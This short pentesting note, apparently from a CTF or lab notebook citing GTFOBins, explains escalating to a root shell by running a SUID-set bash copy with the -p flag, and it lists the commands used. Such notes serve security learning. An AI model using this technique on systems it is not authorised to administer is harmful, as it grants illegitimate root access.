# SUID - bash

Reference: gtfobins [here](https://gtfobins.github.io/gtfobins/bash/).

When SUID bit is set on a bash executable, we can use the -p options to elevate our privileges to root like so:

bash (gives user shell)\
bash -p (gives root shell if SUID set)

Similarly here,

`./.suid_bash`\
`whoami`\
`./.suid_bash -p`\
`whoami`

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2F1Pj1fcgeumhObPoqZDH2%2Fimage.png?alt=media&#x26;token=6b12ed75-3933-41c1-9be8-6a387d3dd0fb" alt=""></div>
